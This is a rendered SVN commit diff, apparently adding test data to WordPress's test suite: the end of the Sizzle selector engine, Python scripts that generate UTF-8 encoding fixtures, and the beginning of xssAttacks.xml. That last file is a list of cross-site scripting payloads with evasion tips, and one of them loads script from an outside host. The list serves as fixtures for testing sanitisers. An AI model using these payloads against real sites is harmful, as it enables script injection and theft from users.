+               // to build up a full list of the parentNodes for comparison
+               while ( cur ) {
+                       ap.unshift( cur );
+                       cur = cur.parentNode;
+               }
+
+               cur = bup;
+
+               while ( cur ) {
+                       bp.unshift( cur );
+                       cur = cur.parentNode;
+               }
+
+               al = ap.length;
+               bl = bp.length;
+
+               // Start walking down the tree looking for a discrepancy
+               for ( var i = 0; i < al && i < bl; i++ ) {
+                       if ( ap[i] !== bp[i] ) {
+                               return siblingCheck( ap[i], bp[i] );
+                       }
+               }
+
+               // We ended someplace up the tree so do a sibling check
+               return i === al ?
+                       siblingCheck( a, bp[i], -1 ) :
+                       siblingCheck( ap[i], b, 1 );
+       };
+
+       siblingCheck = function( a, b, ret ) {
+               if ( a === b ) {
+                       return ret;
+               }
+
+               var cur = a.nextSibling;
+
+               while ( cur ) {
+                       if ( cur === b ) {
+                               return -1;
+                       }
+
+                       cur = cur.nextSibling;
+               }
+
+               return 1;
+       };
+}
+
+// Check to see if the browser returns elements by name when
+// querying by getElementById (and provide a workaround)
+(function(){
+       // We're going to inject a fake input element with a specified name
+       var form = document.createElement("div"),
+               id = "script" + (new Date()).getTime(),
+               root = document.documentElement;
+
+       form.innerHTML = "<a name='" + id + "'/>";
+
+       // Inject it into the root element, check its status, and remove it quickly
+       root.insertBefore( form, root.firstChild );
+
+       // The workaround has to do additional checks after a getElementById
+       // Which slows things down for other browsers (hence the branching)
+       if ( document.getElementById( id ) ) {
+               Expr.find.ID = function( match, context, isXML ) {
+                       if ( typeof context.getElementById !== "undefined" && !isXML ) {
+                               var m = context.getElementById(match[1]);
+
+                               return m ?
+                                       m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
+                                               [m] :
+                                               undefined :
+                                       [];
+                       }
+               };
+
+               Expr.filter.ID = function( elem, match ) {
+                       var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
+
+                       return elem.nodeType === 1 && node && node.nodeValue === match;
+               };
+       }
+
+       root.removeChild( form );
+
+       // release memory in IE
+       root = form = null;
+})();
+
+(function(){
+       // Check to see if the browser returns only elements
+       // when doing getElementsByTagName("*")
+
+       // Create a fake element
+       var div = document.createElement("div");
+       div.appendChild( document.createComment("") );
+
+       // Make sure no comments are found
+       if ( div.getElementsByTagName("*").length > 0 ) {
+               Expr.find.TAG = function( match, context ) {
+                       var results = context.getElementsByTagName( match[1] );
+
+                       // Filter out possible comments
+                       if ( match[1] === "*" ) {
+                               var tmp = [];
+
+                               for ( var i = 0; results[i]; i++ ) {
+                                       if ( results[i].nodeType === 1 ) {
+                                               tmp.push( results[i] );
+                                       }
+                               }
+
+                               results = tmp;
+                       }
+
+                       return results;
+               };
+       }
+
+       // Check to see if an attribute returns normalized href attributes
+       div.innerHTML = "<a href='#'></a>";
+
+       if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
+                       div.firstChild.getAttribute("href") !== "#" ) {
+
+               Expr.attrHandle.href = function( elem ) {
+                       return elem.getAttribute( "href", 2 );
+               };
+       }
+
+       // release memory in IE
+       div = null;
+})();
+
+if ( document.querySelectorAll ) {
+       (function(){
+               var oldSizzle = Sizzle,
+                       div = document.createElement("div"),
+                       id = "__sizzle__";
+
+               div.innerHTML = "<p class='TEST'></p>";
+
+               // Safari can't handle uppercase or unicode characters when
+               // in quirks mode.
+               if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
+                       return;
+               }
+
+               Sizzle = function( query, context, extra, seed ) {
+                       context = context || document;
+
+                       // Only use querySelectorAll on non-XML documents
+                       // (ID selectors don't work in non-HTML documents)
+                       if ( !seed && !Sizzle.isXML(context) ) {
+                               // See if we find a selector to speed up
+                               var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
+
+                               if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
+                                       // Speed-up: Sizzle("TAG")
+                                       if ( match[1] ) {
+                                               return makeArray( context.getElementsByTagName( query ), extra );
+
+                                       // Speed-up: Sizzle(".CLASS")
+                                       } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
+                                               return makeArray( context.getElementsByClassName( match[2] ), extra );
+                                       }
+                               }
+
+                               if ( context.nodeType === 9 ) {
+                                       // Speed-up: Sizzle("body")
+                                       // The body element only exists once, optimize finding it
+                                       if ( query === "body" && context.body ) {
+                                               return makeArray( [ context.body ], extra );
+
+                                       // Speed-up: Sizzle("#ID")
+                                       } else if ( match && match[3] ) {
+                                               var elem = context.getElementById( match[3] );
+
+                                               // Check parentNode to catch when Blackberry 4.6 returns
+                                               // nodes that are no longer in the document #6963
+                                               if ( elem && elem.parentNode ) {
+                                                       // Handle the case where IE and Opera return items
+                                                       // by name instead of ID
+                                                       if ( elem.id === match[3] ) {
+                                                               return makeArray( [ elem ], extra );
+                                                       }
+
+                                               } else {
+                                                       return makeArray( [], extra );
+                                               }
+                                       }
+
+                                       try {
+                                               return makeArray( context.querySelectorAll(query), extra );
+                                       } catch(qsaError) {}
+
+                               // qSA works strangely on Element-rooted queries
+                               // We can work around this by specifying an extra ID on the root
+                               // and working up from there (Thanks to Andrew Dupont for the technique)
+                               // IE 8 doesn't work on object elements
+                               } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+                                       var oldContext = context,
+                                               old = context.getAttribute( "id" ),
+                                               nid = old || id,
+                                               hasParent = context.parentNode,
+                                               relativeHierarchySelector = /^\s*[+~]/.test( query );
+
+                                       if ( !old ) {
+                                               context.setAttribute( "id", nid );
+                                       } else {
+                                               nid = nid.replace( /'/g, "\\$&" );
+                                       }
+                                       if ( relativeHierarchySelector && hasParent ) {
+                                               context = context.parentNode;
+                                       }
+
+                                       try {
+                                               if ( !relativeHierarchySelector || hasParent ) {
+                                                       return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
+                                               }
+
+                                       } catch(pseudoError) {
+                                       } finally {
+                                               if ( !old ) {
+                                                       oldContext.removeAttribute( "id" );
+                                               }
+                                       }
+                               }
+                       }
+
+                       return oldSizzle(query, context, extra, seed);
+               };
+
+               for ( var prop in oldSizzle ) {
+                       Sizzle[ prop ] = oldSizzle[ prop ];
+               }
+
+               // release memory in IE
+               div = null;
+       })();
+}
+
+(function(){
+       var html = document.documentElement,
+               matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
+
+       if ( matches ) {
+               // Check to see if it's possible to do matchesSelector
+               // on a disconnected node (IE 9 fails this)
+               var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
+                       pseudoWorks = false;
+
+               try {
+                       // This should fail with an exception
+                       // Gecko does not error, returns false instead
+                       matches.call( document.documentElement, "[test!='']:sizzle" );
+
+               } catch( pseudoError ) {
+                       pseudoWorks = true;
+               }
+
+               Sizzle.matchesSelector = function( node, expr ) {
+                       // Make sure that attribute selectors are quoted
+                       expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
+
+                       if ( !Sizzle.isXML( node ) ) {
+                               try {
+                                       if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
+                                               var ret = matches.call( node, expr );
+
+                                               // IE 9's matchesSelector returns false on disconnected nodes
+                                               if ( ret || !disconnectedMatch ||
+                                                               // As well, disconnected nodes are said to be in a document
+                                                               // fragment in IE 9, so check for that
+                                                               node.document && node.document.nodeType !== 11 ) {
+                                                       return ret;
+                                               }
+                                       }
+                               } catch(e) {}
+                       }
+
+                       return Sizzle(expr, null, null, [node]).length > 0;
+               };
+       }
+})();
+
+(function(){
+       var div = document.createElement("div");
+
+       div.innerHTML = "<div class='test e'></div><div class='test'></div>";
+
+       // Opera can't find a second classname (in 9.6)
+       // Also, make sure that getElementsByClassName actually exists
+       if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
+               return;
+       }
+
+       // Safari caches class attributes, doesn't catch changes (in 3.2)
+       div.lastChild.className = "e";
+
+       if ( div.getElementsByClassName("e").length === 1 ) {
+               return;
+       }
+
+       Expr.order.splice(1, 0, "CLASS");
+       Expr.find.CLASS = function( match, context, isXML ) {
+               if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
+                       return context.getElementsByClassName(match[1]);
+               }
+       };
+
+       // release memory in IE
+       div = null;
+})();
+
+function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+       for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+               var elem = checkSet[i];
+
+               if ( elem ) {
+                       var match = false;
+
+                       elem = elem[dir];
+
+                       while ( elem ) {
+                               if ( elem[ expando ] === doneName ) {
+                                       match = checkSet[elem.sizset];
+                                       break;
+                               }
+
+                               if ( elem.nodeType === 1 && !isXML ){
+                                       elem[ expando ] = doneName;
+                                       elem.sizset = i;
+                               }
+
+                               if ( elem.nodeName.toLowerCase() === cur ) {
+                                       match = elem;
+                                       break;
+                               }
+
+                               elem = elem[dir];
+                       }
+
+                       checkSet[i] = match;
+               }
+       }
+}
+
+function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+       for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+               var elem = checkSet[i];
+
+               if ( elem ) {
+                       var match = false;
+
+                       elem = elem[dir];
+
+                       while ( elem ) {
+                               if ( elem[ expando ] === doneName ) {
+                                       match = checkSet[elem.sizset];
+                                       break;
+                               }
+
+                               if ( elem.nodeType === 1 ) {
+                                       if ( !isXML ) {
+                                               elem[ expando ] = doneName;
+                                               elem.sizset = i;
+                                       }
+
+                                       if ( typeof cur !== "string" ) {
+                                               if ( elem === cur ) {
+                                                       match = true;
+                                                       break;
+                                               }
+
+                                       } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
+                                               match = elem;
+                                               break;
+                                       }
+                               }
+
+                               elem = elem[dir];
+                       }
+
+                       checkSet[i] = match;
+               }
+       }
+}
+
+if ( document.documentElement.contains ) {
+       Sizzle.contains = function( a, b ) {
+               return a !== b && (a.contains ? a.contains(b) : true);
+       };
+
+} else if ( document.documentElement.compareDocumentPosition ) {
+       Sizzle.contains = function( a, b ) {
+               return !!(a.compareDocumentPosition(b) & 16);
+       };
+
+} else {
+       Sizzle.contains = function() {
+               return false;
+       };
+}
+
+Sizzle.isXML = function( elem ) {
+       // documentElement is verified for cases where it doesn't yet exist
+       // (such as loading iframes in IE - #4833)
+       var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
+
+       return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+var posProcess = function( selector, context, seed ) {
+       var match,
+               tmpSet = [],
+               later = "",
+               root = context.nodeType ? [context] : context;
+
+       // Position selectors must be done after the filter
+       // And so must :not(positional) so we move all PSEUDOs to the end
+       while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
+               later += match[0];
+               selector = selector.replace( Expr.match.PSEUDO, "" );
+       }
+
+       selector = Expr.relative[selector] ? selector + "*" : selector;
+
+       for ( var i = 0, l = root.length; i < l; i++ ) {
+               Sizzle( selector, root[i], tmpSet, seed );
+       }
+
+       return Sizzle.filter( later, tmpSet );
+};
+
+// EXPOSE
+
+window.Sizzle = Sizzle;
+
+})();
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdataformattingutf8README"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/README (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/README                         (rev 0)
+++ trunk/tests/data/formatting/utf-8/README    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,15 @@
</span><ins>+The Python scripts are for generating test data, because Python's Unicode
+support is much, much, much, much better than PHP's.
+
+ * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8
+   into a few different formats (%-encoding, %u-encoding, &#decimal;)
+   and are used like normal UNIXy pipes.
+
+   Try:
+
+   `python urlencode.py < utf-8.txt > urlencoded.txt`
+   `python u-urlencode.py < utf-8.txt > u-urlencoded.txt`
+   `python entitize.py < utf-8.txt > entitized.txt`
+
+  * `windows-1252.py` converts Windows-only smart-quotes and things
+    into their unicode &#decimal reference; equivalents.
</ins></span></pre></div>
<a id="trunktestsdataformattingutf8entitizepy"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/entitize.py (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/entitize.py                            (rev 0)
+++ trunk/tests/data/formatting/utf-8/entitize.py       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,24 @@
</span><ins>+# Generates entitized.txt from utf-8.txt
+#
+# entitized.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def entitize(line):
+    """Convert text to &#[dec]; entities."""
+    line = line.strip();
+    line = ["&#%d;" % ord(s) for s in line]
+    return "".join(line)
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python entitize.py < utf-8.txt > entitized.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(entitize, lines)) )
</ins></span></pre></div>
<a id="trunktestsdataformattingutf8entitizedtxt"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/entitized.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/entitized.txt                          (rev 0)
+++ trunk/tests/data/formatting/utf-8/entitized.txt     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+&#31456;&#23376;&#24609;
+&#70;&#114;&#97;&#110;&#231;&#111;&#105;&#115;&#32;&#84;&#114;&#117;&#102;&#102;&#97;&#117;&#116;
+&#4321;&#4304;&#4325;&#4304;&#4320;&#4311;&#4309;&#4308;&#4314;&#4317;
+&#66;&#106;&#246;&#114;&#107;&#32;&#71;&#117;&#240;&#109;&#117;&#110;&#100;&#115;&#100;&#243;&#116;&#116;&#105;&#114;
+&#23470;&#23822;&#12288;&#39423;
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdataformattingutf8uurlencodepy"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/u-urlencode.py (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/u-urlencode.py                         (rev 0)
+++ trunk/tests/data/formatting/utf-8/u-urlencode.py    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,24 @@
</span><ins>+# Generates u-urlencoded.txt from utf-8.txt
+#
+# u-urlencoded.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def uurlencode(line):
+    """Use %u[hexvalue] percent encoding."""
+    line = line.strip()
+    line = ["%%u%04X" % ord(s) for s in line]
+    return "".join(line)
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python u-urlencode.py < utf-8.txt > u-urlencoded.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(uurlencode, lines)) )
</ins></span></pre></div>
<a id="trunktestsdataformattingutf8uurlencodedtxt"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/u-urlencoded.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/u-urlencoded.txt                               (rev 0)
+++ trunk/tests/data/formatting/utf-8/u-urlencoded.txt  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+%u7AE0%u5B50%u6021
+%u0046%u0072%u0061%u006E%u00E7%u006F%u0069%u0073%u0020%u0054%u0072%u0075%u0066%u0066%u0061%u0075%u0074
+%u10E1%u10D0%u10E5%u10D0%u10E0%u10D7%u10D5%u10D4%u10DA%u10DD
+%u0042%u006A%u00F6%u0072%u006B%u0020%u0047%u0075%u00F0%u006D%u0075%u006E%u0064%u0073%u0064%u00F3%u0074%u0074%u0069%u0072
+%u5BAE%u5D0E%u3000%u99FF
</ins></span></pre></div>
<a id="trunktestsdataformattingutf8urlencodepy"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/urlencode.py (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/urlencode.py                           (rev 0)
+++ trunk/tests/data/formatting/utf-8/urlencode.py      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,33 @@
</span><ins>+# Generates urlencoded.txt from utf-8.txt
+#
+# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode
+
+import urllib, codecs, re
+import sys
+
+# uncapitalize pct-encoded values, leave the rest alone
+capfix = re.compile("%([0-9A-Z]{2})");
+def fix(match):
+    octet = match.group(1)
+    intval = int(octet, 16)
+    if intval < 128:
+        return chr(intval).lower()
+    return '%' + octet.lower()
+
+def urlencode(line):
+    """Percent-encode each byte of non-ASCII unicode characters."""
+    line = urllib.quote(line.strip().encode("utf-8"))
+    line = capfix.sub(fix, line)
+    return line
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(urlencode, lines)) )
</ins></span></pre></div>
<a id="trunktestsdataformattingutf8urlencodedtxt"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/urlencoded.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/urlencoded.txt                         (rev 0)
+++ trunk/tests/data/formatting/utf-8/urlencoded.txt    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+%e7%ab%a0%e5%ad%90%e6%80%a1
+Fran%c3%a7ois Truffaut
+%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d
+Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir
+%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf
</ins></span></pre></div>
<a id="trunktestsdataformattingutf8utf8txt"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/utf-8/utf-8.txt (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/utf-8/utf-8.txt                              (rev 0)
+++ trunk/tests/data/formatting/utf-8/utf-8.txt 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,5 @@
</span><ins>+章子怡
+François Truffaut
+საქართველო
+Björk Guðmundsdóttir
+宮崎 駿
</ins></span></pre></div>
<a id="trunktestsdataformattingwindows1252py"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/windows1252.py (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/windows1252.py                               (rev 0)
+++ trunk/tests/data/formatting/windows1252.py  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,27 @@
</span><ins>+# Generates test data for functions converting between
+# dodgy windows-1252-only values and their unicode counterparts
+
+unichars = ["201A", "0192", "201E", "2026", "2020", "2021", 
+            "02C6", "2030", "0160", "2039", "0152", "2018", 
+            "2019", "201C", "201D", "2022", "2013", "2014", 
+            "02DC", "2122", "0161", "203A", "0153", "0178"];
+
+winpoints = []
+unipoints = []
+
+for char in unichars:
+    char = unichr(int(char, 16))
+    dec = ord(char)
+    win = ord(char.encode("windows-1252"))
+    
+    unipoints.append(dec)
+    winpoints.append(win)
+
+def entitize(s):
+    return "&#%s;" % s
+
+winpoints = map(entitize, winpoints)
+unipoints = map(entitize, unipoints)
+
+print "".join(winpoints), "".join(unipoints)
+    
</ins></span></pre></div>
<a id="trunktestsdataformattingxssAttacksxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/xssAttacks.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/xssAttacks.xml                               (rev 0)
+++ trunk/tests/data/formatting/xssAttacks.xml  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,976 @@
</span><ins>+<?xml version="1.0"?>
+<xss> 
+       <attack> 
+               <name>XSS Locator</name> 
+               <code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code> 
+               <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.  You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable.  Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> 
+               <label>Basic XSS Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>XSS Quick Test</name> 
+               <code>&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}</code> 
+               <desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc> 
+               <label>Basic XSS Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>SCRIPT w/Alert()</name> 
+               <code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code> 
+               <desc>Basic injection attack</desc> 
+               <label>Basic XSS Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>SCRIPT w/Source File</name> 
+               <code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> 
+               <label>Basic XSS Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>SCRIPT w/Char Code</name> 
+               <code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code> 
+               <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc> 
+               <label>Basic XSS Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>BASE</name> 
+               <code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code> 
+               <desc>Works in IE and Netscape 8.1 in safe mode.  You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render.  Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths.  If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>BGSOUND</name> 
+               <code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>BGSOUND</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>BODY background-image</name> 
+               <code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>BODY image</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>BODY ONLOAD</name> 
+               <code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code> 
+               <desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>DIV background-image 1</name> 
+               <code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+               <desc>Div background-image</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>DIV background-image 2</name> 
+               <code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+               <desc>Div background-image plus extra characters.  I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.  (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> 
+               <label>HTML Element Attacks</label> 
